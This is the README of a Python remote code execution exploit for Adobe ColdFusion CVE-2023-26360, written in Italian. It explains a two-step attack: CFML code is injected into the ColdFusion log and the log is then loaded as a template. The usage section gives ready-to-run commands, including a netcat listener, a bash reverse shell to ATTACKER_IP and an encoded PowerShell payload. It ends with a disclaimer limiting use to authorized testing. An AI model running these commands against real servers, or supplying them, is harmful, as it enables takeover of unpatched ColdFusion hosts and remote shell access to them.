
Questo exploit si basa su CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) ed è stato costruito sopra il modulo Metasploit e jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.
Implementazione in Python dell'exploit di esecuzione remota di codice per CVE-2023-26360, basata sull'analisi del modulo originale Metasploit e sul lavoro precedente di jakabakos.
Il PoC di jakabakos tenta di iniettare <cfexecute> direttamente nel parametro _variables e leggere l'output dal log di ColdFusion in un unico passaggio. Questo approccio fallisce perché ColdFusion non valuta i tag CFML inline in quel contesto, generando un errore 500 senza esecuzione di codice.
Questa implementazione replica il corretto meccanismo a due passaggi utilizzato dal modulo Metasploit:
_variables malformato ({<cftry>CFML</cftry>) all'endpoint CFC vulnerabile. ColdFusion non riesce a interpretarlo e scrive il contenuto grezzo — incluso il codice CFML — in .coldfusion-out.logL'esecuzione dei comandi viene effettuata tramite java.lang.Runtime.exec() attraverso createObject, evitando qualsiasi dipendenza da <cfexecute>, che di solito è disabilitato in ambienti hardened o di produzione.
pip install -r requirements.txt
Avvia un listener prima di eseguire l'exploit:
nc -lvnp 4444
Target Windows:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Target Linux:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Tramite proxy (es. Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Descrizione |
|---|---|
--host | URL base del target (es. http://192.168.1.10:8500) |
--cmd | Comando da eseguire sul target |
--win | Imposta questo flag se il target è un host Windows |
--proxy | URL del proxy HTTP (opzionale) |
┌─────────────┐ Step 1: inserisci CFML ┌──────────────────┐
│ Attaccante │ ──── POST /_variables={<cftry>... ──────► iedit.cfc │
│ │ CF non riesce a interpretare, logga CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: attiva esecuzione │ out.log │
│ │ ──── POST classname=X..\logs\cf... ────────► (caricato come │
│ │ │ template CFML) │
│ Listener │ ◄─────────────── reverse shell ────────────│ │
└─────────────┘ └──────────────────┘
Questo strumento è fornito solo per scopi educativi e valutazioni di sicurezza autorizzate (penetration test, CTF, ambienti di laboratorio). Eseguire questo exploit contro sistemi senza esplicita autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.